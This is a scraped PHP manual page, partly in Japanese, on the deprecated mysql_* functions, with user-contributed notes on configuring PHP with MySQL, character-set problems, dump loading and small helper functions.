richard at NOSPAM dot dimax dot com 19-Jul-2006 04:58
In response to Conrad Decker's post below:

If your tables contain foreign key constraints you will not be able to properly restore from a datafile created by mysqldump.

mysqldump dumps table data in alphabetical order, not in the logical order required by the foreign key constraints.
vbolshov at rbc dot ru 09-Jul-2006 11:27
I have recently ran into a problem with configuring php extensions related to mysql (namely, mysql and pdo_mysql). Later I've discovered that it wasn't a PHP problem but that of MySQL - libmysqlclient doesn't ship with binary downloads. I've built MySQL from sources and both extensions then compiled successfully.
sb at stephenbrooks dot org 01-May-2006 01:43
I'm in the process of changing web hosts and my previous host provided a "dump" of the database in the form of a sequence of SQL requests that (I assume) have to be executed in order to rebuild the database on another system.  It was generated using "MySQL dump 9.11".  Queries are finished by a semicolon and linefeed, while comment-lines begin with a double hyphen.  The script below opens a connection to an SQL server and loads a dump file $file of this format into the database $dest_db.

function load_db_dump($file,$sqlserver,$user,$pass,$dest_db)
{
  $sql=mysql_connect($sqlserver,$user,$pass);
  mysql_select_db($dest_db);
  $a=file($file);
  foreach ($a as $n => $l) if (substr($l,0,2)=='--') unset($a[$n]);
  $a=explode(";\n",implode("\n",$a));
  unset($a[count($a)-1]);
  foreach ($a as $q) if ($q)
    if (!mysql_query($q)) {echo "Fail on '$q'"; mysql_close($sql); return 0;}
  mysql_close($sql);
  return 1;
}

This may not be watertight if the ";\n" sequence appears inside queries, but I hope it helps others who are in posession of such dumps.
yp 15-Mar-2006 02:08
when using Fedora Core linux Mysql rpm installation.
Configure as following to load the mysql header files.
./configure --with-mysql=/usr/
Remember to do make clean to remove old configurations before compile
php comments of fuzzyworm co., uk 17-Feb-2006 03:13
If you want to get PHP working nicely with MySQL, even with Apache, under Windows based systems, try XAMPP, from Apache Friends. It saves messing about with config files, which is the only major problem with trying to get the three to work together under windows.

http://www.apachefriends.org/en/xampp-windows.html
Joe Greklek 15-Dec-2005 01:15
I've seen alot of newbies getting frustrated over the extenstions not being installed initially, so heres a quick tut for Windows.

It's ok to use the php5 installer. Just be sure to also grab the .zip or "manual" version of php5.

Install it like any other app. It's pretty straight forward. Don't forget to set the securities mentioned in the last message box at the end of the install. Next, If you installed php to c:\php then you will need to add this to your PATH environment variable. This is a very important step.

Now open up the .zip manual version of php5 and extract the ext folder, and "libmysql.dll" to "c:\php\".

You *MUST* set your security permissions on libmysql.dll and the ext folder to READ/READ&EXECUTE for IUSR_"MACHINE_NAME". like my machine is called master<acct = IUSR_MASTER>. If you don't do this you will recieve an ******.dll - Access Denied. type message.

Next edit your php.ini file usually located in c:\windows\.
Find the line for    extension_dir    variable and make it say
extension_dir = "c:\php\ext\"

Then scroll down a little bit and find the lines that say
;extension=php_mbstring.dll
;extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
;extension=php_gd2.dll
;extension=php_gettext.dll
;extension=php_ifx.dll

just remove the semicolin for each extension you would like loaded. Such as
extention=php_mysql.dll
and so on.

Now just reboot and all should be well. Query away. you basically only need to reboot to update the PATH environment variable. Hope this helps at least 1 person.:)
nick smith 19-Sep-2005 12:07
i'm fairly new to this but have just managed to set up (on windows xp) apache 2.0.54 with php 5.0.4 and mySQL 4.1.13, also phpMyAdmin 2.6.4 having had exactly the problems reported by so many others. i wasnt actually aware of mySQL not being loaded in php until i tried to use phpmyadmin and it told me to check my php/mysql configuration.

basically i just did everything that is mentioned by others (setting extension_dir to c:\php\ext ( not c:\php\ext\ ), uncommenting extension=php_mysql.dll from php.ini and putting c:\php into my PATH) but i was still getting the infuriating message when trying to start apache that php_mysql.dll could not be found.

i restarted my machine and it worked! It seems i had to restart windows after editing my PATH. i didnt bother restarting until it was the last resort because on xp i have NEVER had to do this before - changes to System Variables always took effect immediately. I could understand this on, say, windows 98 where you put the addition to your PATH into your autoexec.bat but why i had to do this with xp is a mystery.

Anyway, give it a go, it might save you tearing out prescious hair!

N.
avis_del at yahoo dot com 01-Sep-2005 01:14
I aggree with j at jonathany.com

PHP 5.04 to MySQL,
php_mysql.dll will not found on windows installer (.msi)
just extract from .zip file (can download).
It works.

1. cgi.force_redirect = 0
2. extension_dir = "c:\php\ext"
3. extension=php_mysql.dll

untill on phpinfo.php show

MySQL Support enabled
Active Persistent Links  0
Active Links  0
Client API version  4.1.12
claude(at)claude(dot)nl 25-Aug-2005 07:23
A note on resources

When a resource (e.g. a link identifier) runs out of scope, it is deleted and the associated computer resources (e.g. the tcp link to the database) will be terminated as well. So far so good!
However, in the following code the tcp mysql link persists until the end of execution:
<?php
$conn = mysql_connect('hostname', 'username','password');
$conn = null;
sleep (30);
?>
This is because the internally the link-identifier is being saved, so that subsequent mysql functions will work. There seems to be no way to delete this internal reference.
If you were, however, to open 2 connections, the oldest one will be deleted automatically (so the connection to hostname will terminate at the $conn=null statement, the connection to hostname2 will exist till the end of the script).
<?php
$conn = mysql_connect('hostname', 'username','password');
$conn2 = mysql_connect('hostname2', 'username','password');
$conn = null;
$conn2 = null;
sleep (30);
?>
arjen at mysql dot com 04-Aug-2005 01:26
John Coggeshall wrote a PHP5 ext/mysqli compatibility script for applications that still use the old ext/mysql functions. This prevents the hassle of trying to have both the mysql and mysqli extensions loaded in PHP5, which can be tricky.

The script is at:
http://www.coggeshall.org/oss/mysql2i/
allan666 at NOSPAM dot gmail dot com 20-Jul-2005 03:37
[Editor's Note: In MySQL v5.0+, you can use the INFORMATION_SCHEMA tables to retrieve information on tables, views, databases and so on. --zak@php.net]

Here is a small function to parse a mysql creation table DDL. The function takes a string with the SQL code to create a table and returns the table name, table fields, table key fields and fields type, all in arrays (except by the name, obviously). The function requires that the primary key be named "id" and the foreign keys named "id...". All foreign key types are suposed to be int (or its variations, bigint, etc...). All those restrictions are easily modified to others needs.

Here is a example of a DDL code.

CREATE TABLE `telefones` (
  `id` int(11) NOT NULL auto_increment,
  `id_tipo_telefone` int(11) NOT NULL default '0',
  `numero` varchar(15) NOT NULL default '',
  `id_pessoa` int(11) NOT NULL default '0',
  PRIMARY KEY  (`id`),
  KEY `id_tipo_telefone` (`id_tipo_telefone`),
  KEY `id_pessoa` (`id_pessoa`),
  CONSTRAINT `0_775` FOREIGN KEY (`id_tipo_telefone`) REFERENCES `tipos_telefone` (`id`),
  CONSTRAINT `0_776` FOREIGN KEY (`id_pessoa`) REFERENCES `pessoas` (`id`)
) TYPE=InnoDB

that returns

$tbname = "telefones"
$fields = array("numero");
$kfields = array("id_tipo_telefone","id_pessoa");
$tipos = array("varchar");

Hope it helps...

<?php
function parseQuery($Q, &$tbname, &$fields, &$kfields, &$tipos) {

/** rules to a corect parse:
 *
 *     1 - primary key must be named "id"
 *     2 - foreign key must be named "id..." eg.: id_field
 *     3 - lowercase is recomended
 */

    $Q = str_replace(array(chr(10),chr(13))," ",$Q);
    $Q = str_replace(array("'","`")," ",$Q);

    preg_match("/([^(]*)\((.*)\)(.*)/",$Q,$A);

    $part1 = $A[1];
    $part2 = $A[2];
    $part3 = $A[3];

    preg_match("/(.*) ([a-zA-Z_]+)/",$part1,$A);

    $tbname = strtolower($A[2]);

    $temp = split(",",$part2);
    foreach ($temp as $t) {
        preg_match("/ *([a-zA-Z_]+) +([a-zA-Z_]+)(.*)/",$t,$A);
        $pcampo = strtolower($A[1]);
        $ptipo = strtolower($A[2]);
        if (!preg_match("/$pcampo/","primary key constraint id unique foreign") )  {
            if ( ($pcampo[0] == "i") && ($pcampo[1] == "d") )
                $kfields[] = $pcampo;
            else {
                $fields[] = $pcampo;
                $tipos[] = $ptipo;
            }
        }
    }
}
?>
Microsoul V3 04-Jun-2005 03:47
I use IIS 6, PHP 5.04, Windows Server 2003 and MySQL 4.1.11. and here is what I was able to figure out.
To get MySQL and PHP to talk to each other, in the php.cfg, dont forget to turn on the tag
cgi.force_redirect = 0, and make sure you set it at 0 (it is default at 1. just delete the semi-colon from in front of it to activate it in the code) Then the phpinfo will say its reading the cfg from your PHP install directory instead of your WINDOWS root. Then your phpinfo will show the MySQL entry that some people may be having a hard time with. No registry settings or copying of anything is needed. Also follow the rest of the excellent help from the user comments. Here's what I did, to make it simple:
I made a folder in the folder tree just above program files (explore your computer) and named it PHP. I extracted the .zip php version into it (not the auto install version). I edited the php.ini-recommended, renamed it to just php, added my sql username, database name, etc.( you really gotta look closely at the cfg file and make sure you dont overlook something). Turned on the extension=php_mysql.dll (just delete the semi-colon thats in front of it). Added the php folder to the PATH (instructions on how to do this are pretty simple, and documented above). I also made the ext folder available to the PATH, but Im not sure if it's really necessary. The user comments are what really helped me, so I thought I would return the favor, and try to expand on this topic a little bit.
noel at nettensity dot com 28-May-2005 10:04
Enabling MySQL with Windows Server 2003/IIS 6.0:
Find your php.ini file first, check phpinfo() to see where php is currently looking for php.ini. (i.e. Using the Windows installer for PHP 5.0.4, the php.ini file was placed in the C:\Windows dir.) I recommend, however, that you don't use the installer - go with full manual install.

Set the following in php.ini:
display_errors = on
error_reporting = E_ALL
This will make sure that you'll see any errors that arise during configuration. MAKE SURE TO CORRECT THESE WHEN YOU ARE DONE PLAYING WITH PHP.INI! Do not leave these settings like this on a production machine.

In php.ini set the following:
extension_dir = "pathtoextensions (ususally [yourpathtophp]\ext)"
extension=php_mysql.dll (make sure this is un-commented if its already in your php.ini)

In IIS, open Web Service Extensions, click "Add a new Web service extension..."
Type-in PHP for the extension name
Under required files:
Add  [yourpathtophp]\php5isapi.dll
Add  [yourpathtophp]\php5ts.dll
Click 'Apply' then click 'OK'

Create web sites like you normally would, but make sure they have executable permissions, not just script access. Under the "Home Directory" tab, click 'Configuration'. Scroll down the list at the top and see if you can find PHP. If you do, make sure the path to the executable for PHP is correct. If you don't find PHP in the list, click 'Add...', then browse to the correct executable, [yourpathtophp]\php5isapi.dll, and click OK. In the extension field, enter 'PHP'. Verbs should already be set to 'All verbs', leave it like that.

Create a test page with this code:
<? echo(phpinfo()); ?>
call it test.php, and place this file into the web site you just created. Browse to the page, with firefox preferably ;), and make sure that you have a MySql section with some MySql info in there. If not, then your paths are possibly screwed up, or you're still not editing the correct php.ini (again, look at the location that phpinfo() shows you, and just edit it there if you have to, then move it afterwards and re-config).

Hope this helps!
medic at setiherbipolis dot de 15-May-2005 08:42
Client does not support authentication protocol requested by server; consider upgrading MySQL client

means that you're using an old version of MySQL Client ( possibly not mysqli)

Authentication protocol for MySQL has changed with version 4.1.

To get a hint at which mysql-client version you're using try phpinfo();
05-Mar-2005 11:01
If you are installing PHP5 on Windows 2003 server (AKA Win 2k3) and need MySQL to work using the either the php_mysql.dll or php_mysqli.dll or both of them at the same time, and MySQl isn't showing up in phpinfo, then your php.ini is probably not loading.  In the direction in the PHP 5 zip file, they will tell you to add your PHP install directory to your windows path.  This should tell php where to load its php.ini from but it doesn't.  If you want to get this to work, you don't have to copy any DLL's anywhere like everyone suggests.  All you have to do is add the folling regsitry key to windows:

[HKEY_LOCAL_MACHINE\SOFTWARE\PHP]
"IniFilePath"="C:\\PHP"

simply copy the above 2 lines of code into a text file and save the file as php_ini_path.reg

After you save the file it will look like a registry file.  Simply double click on it.

It will make it so PHP will look for your php.ini in C:\PHP.  I would assume you can edit this if you install php into a different location, but I haven't tried that.

After running the reg file, make sure your php.ini is in your PHP dir and make sure all the appropriate things are set.  This should get you up and running.  Make sure you also follow all the steps on how to make it work in IIS.  This is just an addition to the direction.
Protik Mukherjee 03-Mar-2005 09:34
Fedora mysql problems!!
In Fedora 3 the php mysql module does not come with the default installation. To install it use $>yum install php_mysql
If u dont do this you will get errors with mysql functions like mysql_connect()

Hope this helps!
nleippe at integr8ted dot com 12-Oct-2004 03:22
trace_mode breaks SQL_CALC_FOUND_ROWS.
This is because it emits an EXPLAIN <query> before sending the <query> by itself, thus the subsequent SELECT FOUND_ROWS() is no longer the next consecutive query, and the result is zero.
This was true for me for at least MySQL 4.0.21 and 4.1.5gamma.
(PHP 4.3.9)
aidan at php dot net 15-Aug-2004 05:59
If you want to replicate the output of `mysql --html`, printing your results in a HTML table, see this function:

http://aidanlister.com/repos/v/function.mysql_draw_table.php
irn-bru at gmx dot de 27-May-2004 05:27
Note, that the sql.safe_mode configuration setting does effect all mysql_* functions. This has nothing to to with the php safe mode, check the [SQL] section in php.ini.

I found out, that if you set sql.safe_mode = On, mysql_connect will ignore provided username and passwort and makes use of the script owner instead (checked on debian).

Brian
soren at byu dot edu 14-Mar-2003 01:23
Let's say that you want to generate a MySQL password hash from a plain text password.  Normally, you would just submit the MySQL query "SELECT PASSWORD('password')", but if for some reason you can't access to MySQL database directly, then you can use the following function (translated right out of the MySQL source code):

<?php
function mysql_password($passStr) {
        $nr=0x50305735;
        $nr2=0x12345671;
        $add=7;
        $charArr = preg_split("//", $passStr);

        foreach ($charArr as $char) {
                if (($char == '') || ($char == ' ') || ($char == '\t')) continue;
                $charVal = ord($char);
                  $nr ^= ((($nr & 63) + $add) * $charVal) + ($nr << 8);
                $nr2 += ($nr2 << 8) ^ $nr;
                  $add += $charVal;
        }

        return sprintf("%08x%08x", ($nr & 0x7fffffff), ($nr2 & 0x7fffffff));
}
?>

example:

<? print mysql_password("hello"); ?>

outputs:

70de51425df9d787

Which is the same result you get if you do "SELECT PASSWORD('hello')" directly in MySQL.  Hopefully you'll never be in a situation where you have to use this, but if you need it (like I did), it's here.
mijnpc at xs4all dot nl 20-Nov-2002 02:33
If you have a Windows machine running a webserver with PHP you don't need to install MySQL server to locally test scripts, if you are granted to establish a Secure Telnet connection (port 22) to the remote webserver.

To do this you need a Secure Telnet client, which supports port-forwarding.
Before you establish a connection, define the port-forward.
Forward local port 3306 to [name or ip of remote server]:3306
Make sure that local ports accept connections from other hosts
Save this session

Connect to remote server with username and password
Minimize the shell and that's it...

You can use the same username (and password) as if you were working on the remote server !
E.g. : $link = mysql_connect("localhost", "root", "") or die("no way jose");

You may get a shell-timeout after xx minutes depending on your remote server, just reconnect or press enter in the shell once in a while...

An example of a superb freeware Secure Telnet client is Putty : Putty : http://www.chiark.greenend.org.uk/~sgtatham/putty/

This 'discovery' really has saved me a lot of time because I don't have to upload the scripts to the remote server time and time again, pressing [save] is enough, heh (-:
skelley at diff dot nl 25-Sep-2001 02:11
Hi, here's a nice little trick to select records in random order from a table in a MySQL database prior to version 3.23

SELECT *, (ItemID/ItemID)*RAND() AS MyRandom FROM Items ORDER BY MyRandom

[Editors note: And just "SELECT * FROM foo ORDER BY RAND()" after 3.23]
mbabcock-php at fibrespeed dot net 28-Jul-2001 07:41
Since there aren't functions to start and end/rollback transactions, you'll have to use mysql_query("BEGIN"), mysql_query("COMMIT") and mysql_query("ROLLBACK").  These will only work properly on tables that support transactions.  You may also wish to roll your own mysql_begin (etc) functions that run the above queries for you.
mw-php at ender dot com 21-Jun-2001 09:11
The mysql_fetch_[row|object|array] functions return data as type string. Owing to the very flexible nature of php variables, this is normally not relevent, but if you happen to retrieve two integers from a database, then try to compare with bitwise operators, you'll run into trouble, because (19 & 2) == 2, but ("19" & "2") == 0. To remedy this, if you use variables from a database with bitwise operators, use the settype() function to explicitly cast your variables as integers before comparing.


一番最近の操作で変更された行の数を得る

  • ≪ MySQL 関数
  • mysql_client_encoding ≫
  • PHP Manual
  • MySQL 関数
  • 一番最近の操作で変更された行の数を得る

mysql_affected_rows

(PHP 4, PHP 5)

mysql_affected_rows — 一番最近の操作で変更された行の数を得る

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_affected_rows()
  • PDOStatement::rowCount()

説明

mysql_affected_rows ( resource $link_identifier = NULL ) : int

link_identifier と関連付けられた直近の INSERT、UPDATE、REPLACE、DELETE クエリによって変更された行の数を取得します。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合に変更された行の数を、直近のクエリが失敗した場合に -1 を返します。

直近のクエリが WHERE 句を含まない DELETE だった場合、テーブルから すべてのレコードが削除されますが、MySQL 4.1.2 以前のバージョンでは この関数はゼロを返します。

UPDATE を使用する場合、MySQL では新旧の値が同じときには更新処理を行いません。 このことから、必ずしも mysql_affected_rows() の返す値が マッチする行の数と一致するとは限りません。返す値は実際に更新処理が行われた 行の数です。

REPLACE ステートメントは、まず最初に同じ主キーのレコードを削除した後に 新しいレコードを挿入します。この関数は、削除された行の数と 挿入された行の数を足したものを返します。

"INSERT ... ON DUPLICATE KEY UPDATE" クエリの場合の返り値は、 新しい行を追加した場合が 1 で既存の行を更新した場合が 2 となります。

例

例1 mysql_affected_rows() の例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

/* これは、削除されたレコードの正しい数をかえずはず */
mysql_query('DELETE FROM mytable WHERE id < 10');
printf("Records deleted: %d\n", mysql_affected_rows());

/* 決して真にはならない where 条件なので、結果は 0 となるはず */
mysql_query('DELETE FROM mytable WHERE 0');
printf("Records deleted: %d\n", mysql_affected_rows());
?>

上の例の出力は、 たとえば以下のようになります。

Records deleted: 10
Records deleted: 0

例2 トランザクションを利用した mysql_affected_rows() の例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
mysql_select_db('mydb');

/* レコードの更新 */
mysql_query("UPDATE mytable SET used=1 WHERE id < 10");
printf ("Updated records: %d\n", mysql_affected_rows());
mysql_query("COMMIT");
?>

上の例の出力は、 たとえば以下のようになります。

Updated Records: 10

注意

注意: トランザクション

トランザクションを使用する場合には、コミット後ではなく INSERT, UPDATE, DELETE クエリの後に mysql_affected_rows() をコールする必要があります。

注意: SELECT ステートメント

SELECT から返される行の数を得る際には、 mysql_num_rows() が利用できます。

注意: 外部キーによる連鎖

mysql_affected_rows() は、外部キー制約の ON DELETE CASCADE や ON UPDATE CASCADE で暗黙のうちに変更された行については数えません。

参考

  • mysql_num_rows() - 結果における行の数を得る
  • mysql_info() - 直近のクエリについての情報を得る

User Contributed Notes

gtisza at gmail dot com 16-Aug-2019 11:30
Note that when the CLIENT_FOUND_ROWS connection flag was used, affected_rows returns the number of rows matched by the WHERE condition of an UPDATE query, even if the query doesn't actually change those rows. I.e. for

     INSERT INTO t(id, val) VALUES (1, 'x');
     UPDATE t SET val = 'x' WHERE id = 1;

the number of affected rows will be 0 normally but 1 with CLIENT_FOUND_ROWS.
vitospericolato at gmail dot com 19-Jan-2017 11:44
calling mysql_affected_rows(null)
is not the same that calling mysql_affected_rows()

So, if you have a $link variable that could be null, you must write

if($link)
  $n=mysql_affected_rows($link);
else
  $n=mysql_affected_rows();
brian at smitherconsulting dot com 21-Nov-2016 12:31
In the case of INSERT where a row/slot had been previously deleted, making an uncollapsed hole in the table, and the record being inserted fills that empty row/slot, that is to say, the inserted data did not create a new row/slot/space, then this may explain why a zero result is returned by this function.
ahmd 12-May-2016 06:39
I was just testing  "INSERT INTO ... ON DUPLICATE KEY UPDATE" syntax, on PHP 5.3.29 and mysql_affected_rows() was returning either 2 for updated row, 1 for inserted new row, and also 0, which was not documented, evidently when nothing was inserted. I was inserting a single row.
Ome Ko 28-Jun-2011 01:10
There are no rows affected by an update with identical data.
So here is one very ugly solution for these cases:
<?
function mysql_matched_rows() {
   $_kaBoom=explode(' ',mysql_info());
   return $_kaBoom[2];
}
?>
sean at adtools dot co dot uk 09-Sep-2008 01:48
Here's a little function I've been using for a while now, pass it two parameters (action command (1 or 0 see notes)) and a sql statement.

It returns a simple line which shows the length of time taken to action the query, the status of the query (0= query not actioned, you can set this value for testing, 1=success qry executed successfully, -1= failed, there was a problem with the sql statement) the number of lines affected by that query and the sql statement itself.

I've found this invaluable when trying to tie down large amounts of updates to a table, using this you can easily see where a query was successfully executed and the number of rows are affected, or where there are problems and a statement has failed for example.

<?php
function dosql($action,$sql){
  # assuming you have setup a link to your database entitled $link
  # action = 1 run this query
  # action = 0 don't run, just return sql statement

  $start = getmtime();

  if($action==1){
    $result = mysql_query($sql);
    $affectedrows = "[".mysql_affected_rows($link)."]";
  }
  return "[".number_format((getmtime()-$start),3)."][$action]: $sql\n";
  mysql_free_result($result);
}
?>

Example output:
[0.072][1][80]: UPDATE MYTABLE SET FIELD = 1;
[0.106][1][758]: UPDATE ANOTHERTABLE SET FIELD = 2;
[0.006][-1][0]: UPDATER ANOTHERTABLE SET FIELD = 2;

The output shows:

[Timetaken][result]][lines affected]

The result will be either -1, 0 or 1, -1 means there's a problem with the sql statement, 1 means it executed correctly, 0 means it wasn't executed.
HMax 02-Jul-2007 03:21
If you use "INSERT INTO ... ON DUPLICATE KEY UPDATE" syntax, mysql_affected_rows() will return you 2 if the UPDATE was made (just as it does with the "REPLACE INTO" syntax) and 1 if the INSERT was.

So if you use one SQL request to insert several rows at a time, and some are inserted, some are just updated, you won't get the real count.
dobrys at abv dot bg 28-May-2007 02:35
I see that when try to use mysql_affected_rows() with "mysql_pconnect(...)" without link indetifier as param in "mysql_affected_rows()" the result is allways -1.
When use link identifier "mysql_affected_rows($this_sql_connection)" - everything is Fine. This is is on PHP Version 5.2.0
Hope that this was helpfull for somebody
temp02 at flexis dot com dot br 29-Jun-2005 05:39
SCENARIO
1. You're using MySQL 4.1x with foreign keys.
2. You have table t2 linked to table t1 by a CASCADE ON DELETE foreign key.
3. t2 has a UNIQUE key so that duplicate records are unacceptable.
3. You have a REPLACE query on t1 followed by an INSERT query on t2 and expect the second query to fail if there's an attempted insert of a duplicate record.

PROBLEM
You notice that the second query is not failing as you had expected even though the record being inserted is an exact duplicate of a record previously inserted.

CAUSE
When the first query (the REPLACE query) deletes a record from t1 in the first stage of the REPLACE operation, it cascades the delete to the record that would be duplicated in t2. The second query then does not fail because the "duplicate" record is no longer a duplicate, as the original one has just been deleted.
steffen at showsource dot dk 28-Sep-2004 03:20
Using OPTIMIZE TABLE will also return true.
So, if you want to check the numbers of deleted records, use mysql_affected_rows() before OPTIMIZE TABLE
deponti A_T tiscalinet D0T it 07-Nov-2003 04:52
It works also for REPLACE query,returning:
0 if the record it's already updated (0 record modified),
1 if the record it's new (1 record inserted),
2 if the record it's updated (2 operations: 1 deletion+ 1 insertion)


文字セット名を返す

  • ≪ mysql_affected_rows
  • mysql_close ≫
  • PHP Manual
  • MySQL 関数
  • 文字セット名を返す

mysql_client_encoding

(PHP 4 >= 4.3.0, PHP 5)

mysql_client_encoding — 文字セット名を返す

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_character_set_name()

説明

mysql_client_encoding ( resource $link_identifier = NULL ) : string

MySQL の character_set 変数の値を取得します。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。そのようなリンクがない場合、引数を指定せずに mysql_connect() がコールした時と同様にリンクを確立します。 リンクが見付からない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

カレントの接続から、デフォルトの文字セット名を返します。

例

例1 mysql_client_encoding() の例

<?php
$link    = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$charset = mysql_client_encoding($link);

echo "カレントの文字セットは: $charset\n";
?>

上の例の出力は、 たとえば以下のようになります。

カレントの文字セットは: latin1

参考

  • mysql_set_charset() - クライアントの文字セットを設定する
  • mysql_real_escape_string() - SQL 文中で用いる文字列の特殊文字をエスケープする

User Contributed Notes

devos at montp dot inserm dot fr 23-Aug-2007 03:30
I use mysql 3.23 and none of the above worked for me. Looking at http://dev.mysql.com/tech-resources/articles/4.1/unicode.html as advised by romain at dardour dot com, I tried to include the following header in my php scripts, and all the funy characters disapeared. Hope it will help.

<?php header("Content-type: text/html; charset=latin1");?>

(my mysql character was latin1)
php at quarkus dot de 25-Jul-2007 06:23
Please note that even if you set the charset by issuing the two mentioned SQL statements (set names, set character set) mysql_client_encoding still deliveres the old result.

Default for me is latin1. After switching to UTF8 mysql_client_encoding still returns latin1. The charset switched to UTF8 successfully, though.
roy dot the dot geek+php at gmail dot com 23-Jan-2007 05:37
f you think "set names utf8" for each connection is too trouble, you can modify my.cnf of MySQL to solve the problem forever. In my.cnf, add the line "default-character-set=utf8" in both [mysqld] and [client] sections:

[client]
default-character-set=utf8

[mysqld]
default-character-set=utf8

The MySQL will use utf8 after you restart it.
Pedro Pereira 09-Sep-2006 07:30
All I had to do to save utf8 data with php mysql_query() was to go to the php.ini and put default_charset = "utf-8". Without this I had the same problems some of you have. Plus, all my mysql charsets vars are in 'utf8'. (Changed them with Mysql Admin Tool)

Didnt use any mysql SET **** command at all.

Mysql 4.1.20
PHP 4.4.4
Win XP

Hope this help some of you.
alamakota at mises dot pl 26-Jul-2006 07:13
There's no 'character_set' variable available in MySQL. You can check it yourself in MySQL online documentation or by running MySQL query "SHOW VARIABLES LIKE 'character_set%';".
This must be an error in PHP manual, unless I'm missing something.
21-Jul-2006 05:46
A very easy way to always get results in UTF-8 is to make a common function to connect to DB and in that function set character set to utf-8.

function OpenConn() {
  global $link;
  $link = mysql_connect ("localhost", "username", "password")
      or die(sendError('Could not connect to DB'));
  mysql_select_db ("dbName");
  //
  // Set character set to UTF-8
  //
  mysql_query("SET CHARACTER SET 'utf8'", $link);
}
romain at dardour dot com 15-May-2006 08:56
I couldn't get any luck with all the stuff mentioned below, and despite having an unicode DB, and setting all my field to utf8_general_ci...
After looking around, I found that this page: http://dev.mysql.com/tech-resources/articles/4.1/unicode.html was adding the fields with an extra info before each value:

<?
mysql_query("INSERT INTO table SET field = _utf8'value'");
?>
Mind the "_utf8" before the field value, and outside of the quotes.

This works for me wether in an Insert or an Update statement.

No need here for a <? mysql_query("SET NAMES utf8"); ?> before each query, or to change anything in the config files (that was important since I don't have access to these).
zayfod at yahoo dot com 21-Apr-2006 04:57
The right lines to put in /etc/my.cnf (or other MySQL options file) are:

[client]
init-command="SET NAMES utf8"

Unfortuantely the PHP mysql_connect() function does not use MySQL options files so this is not a sollution for changing the default connection character set for mysqlclient library v4.1+.

The only working sollution remains:

mysql_query("SET NAMES utf8", $conn);

(of course /ext/mysql/php_mysql.c can always be patched ;] )
Wio at psitrax dot de 16-Mar-2006 09:24
If you set the encoding in my.cnf like

[mysqld]
init_connect='SET NAMES utf8'

note that the content of init_connect  is not executed for users that have the SUPER privilege - ie root!
vrbcik 27-Nov-2005 09:26
I have had problems with encoding after export of tables (from hosting - via PhpMyAdmin) and import them to other machine (my notebook - via PhpMyAdmin too). In PhpMyAdmin the encoding of all data was shown correctly, not that good with the web pages (data pulled via php).
The first point is indication, that the data was imported correctly, but php script has got other character set than MySql is sending.

The script's character set is set in header: <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-2">. MySql setting was latin1.

Then following code helped me:

<?php
mysql_query("SET CHARACTER SET 'latin2'", $conn);
?>
info at jantichy dot cz 30-Dec-2004 02:02
Notice the difference between following two SQL statements:

SET NAMES 'charset_name'
SET CHARACTER SET charset_name

For more detail see
http://dev.mysql.com/doc/mysql/en/Charset-connection.html
black at scene-si dot org 20-Oct-2004 04:04
the above (as it seems to be vaguely indicated in the mysql manual) works only with mysql 4.1+
stian at grytoyr dot net 19-Oct-2004 06:09
If you experience weird problems, like some UTF-8 characters (the Unicode character &#x010D and a few others in my case) seemingly being changed to garbage by mysql_query, you may need to do something like this before your actual query:

<?php
mysql_query("SET NAMES 'utf8'", $conn);
?>

Took me days to figure that one out...


MySQL 接続を閉じる

  • ≪ mysql_client_encoding
  • mysql_connect ≫
  • PHP Manual
  • MySQL 関数
  • MySQL 接続を閉じる

mysql_close

(PHP 4, PHP 5)

mysql_close — MySQL 接続を閉じる

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_close()
  • PDO: PDO オブジェクトへの null の代入

説明

mysql_close ( resource $link_identifier = NULL ) : bool

mysql_close() は、指定した link_identifier が指す MySQL データベースへの非持続的リンクを閉じます。 link_identifier が指定されない場合、最後に オープンされたリンクが使用されます。

持続的でない MySQL 接続や結果セットは、PHP スクリプトの実行が終了する時点で自動的に破棄されます。 そのため、オープンした接続をクローズしたり結果セットを開放したりすることは必須ではありませんが、 そうしておくことを推奨します。 その時点ですぐに PHP や MySQL にリソースを返せ、パフォーマンスの向上につながるからです。 関連する除法は リソースの開放を参照ください。

パラメータ

link_identifier

MySQL 接続。 指定されない場合、mysql_connect() により直近にオープンされたリンクが 指定されたと仮定されます。接続が見つからない、または、確立できない場合、 E_WARNING レベルのエラーが生成されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 mysql_close() の例

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
if (!$link) {
    die('接続できませんでした: ' . mysql_error());
}
echo '接続に成功しました';
mysql_close($link);
?>

上の例の出力は以下となります。

接続に成功しました

注意

注意:

mysql_close() は、mysql_pconnect() により生成された持続的リンクを閉じません。 詳細な情報は、マニュアルの 持続的データベース接続を参照ください。

参考

  • mysql_connect() - MySQL サーバーへの接続をオープンする
  • mysql_free_result() - 結果保持用メモリを開放する

User Contributed Notes

omega99999 at gmail dot com 20-Feb-2011 01:44
